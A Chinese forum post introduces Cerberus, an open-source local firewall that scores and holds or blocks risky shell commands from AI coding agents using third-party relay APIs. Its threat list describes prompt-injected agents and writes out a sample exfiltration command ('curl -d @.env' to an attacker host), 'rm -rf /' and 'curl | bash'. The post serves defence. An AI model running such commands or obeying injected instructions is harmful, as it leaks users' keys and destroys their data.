【开源利器】防止中转API投毒与恶意执行！专为 Cursor / OpenCode / AI Agent 打造的本地零信任命令防火墙 (守护本地源码与密钥)

科技与创作 AI
1

Cerberus AI Agent Firewall Banner

各位老哥好！

随着 Cursor、Cline、OpenCode 等自主编程 Agent 的普及，社区里很多朋友为了节省开销，都会接入各种第三方中转 API（One-API / New-API / 廉价公益站 / 各种拼车车队）。

虽然便宜省心，但很多人忽略了一个非常致命的安全短板：
这些自主 Agent 拥有调用系统 Shell、读写本地文件的真实权限。一旦上游中转模型被恶意投毒（Prompt Injection），或者上游节点被攻击篡改，Agent 就可能在你的电脑或服务器上静默执行高危指令！

为了解决这个问题，我自己折腾并开源了一个轻量级本地零信任安全网关 - Cerberus (AI Agent 本地命令防火墙)。代码现已完全开源，没有任何外部网络请求，100% 运行在本地 127.0.0.1。

:police_car_light: 常见中转 API 投毒与越狱风险

  1. 凭证被动窃取: 模型被恶意诱导静默读取本地的 ~/.ssh/id_rsa、.env、数据库配置，并通过 curl -d @.env http://attacker-collector.xyz 偷偷回传。
  2. 破坏性指令执行: 上游下发混淆的系统指令（例如 rm -rf /、Windows 下的静默格式化或篡改系统 hosts）。
  3. 恶意依赖安装: 伪装成解决依赖问题，诱导 Agent 执行未知远端脚本文档 curl | bash。

:shield: Cerberus 是如何守护本地环境的？

Cerberus 像一堵透明的防火墙，横跨在 AI Agent 与本地操作系统之间：

  • 0 外部依赖 (Zero-Trust): 纯本地 Node.js 运行，没有任何遥测和外部数据上传，私有代码与密钥不出本机。
  • 毫秒级全方位风险评分 (0-100): 基于高危路径过滤、破坏性命令正则、外部网络数据外发检测等多维度实时打分。
  • 分级处置机制:
    • ALLOW (安全): 正常开发指令（git status, npm run build, cargo test）毫秒级放行，丝滑无感。
    • AUDIT (审计): 低风险操作记录到本地审计日志，备查追溯。
    • HOLD (人工确认): 敏感操作（如大范围修改目录、写入敏感配置）暂停执行，并在终端/Web控制台弹出提醒，需人工按 y 批准。
    • BLOCK (阻断): 极危指令（删除系统根、访问私钥）秒级拦截并向模型返回权限拒绝。
  • 本地监控看板: 内置开箱即用的 Web 管理面板 (http://127.0.0.1:8787)，实时查看 Agent 的每一个动作。

:rocket: 极速部署使用

环境要求: Node.js >= 20，git

# 1. 克隆开源仓库
git clone https://github.com/03viceboll/ai-agent-firewall.git
cd ai-agent-firewall

# 2. 安装依赖
npm install

# 3. 启动守护引擎 (Windows 双击 start-engine.bat，Linux/macOS 执行 ./start-engine.command)
node bin/cerberus.mjs start

:open_file_folder: 开源仓库地址

:backhand_index_pointing_right: GitHub: https://github.com/03viceboll/ai-agent-firewall

遵循 Apache-2.0 开源协议，代码完全透明，欢迎各位老哥审查、点个 Star :star: 或提出建议！如果在折腾各种中转 API 时担心本地环境安全，推荐挂上这个小工具跑着，安心很多。大家日常用 Agent 遇到过什么奇葩指令也可以在帖子里交流~

1 个赞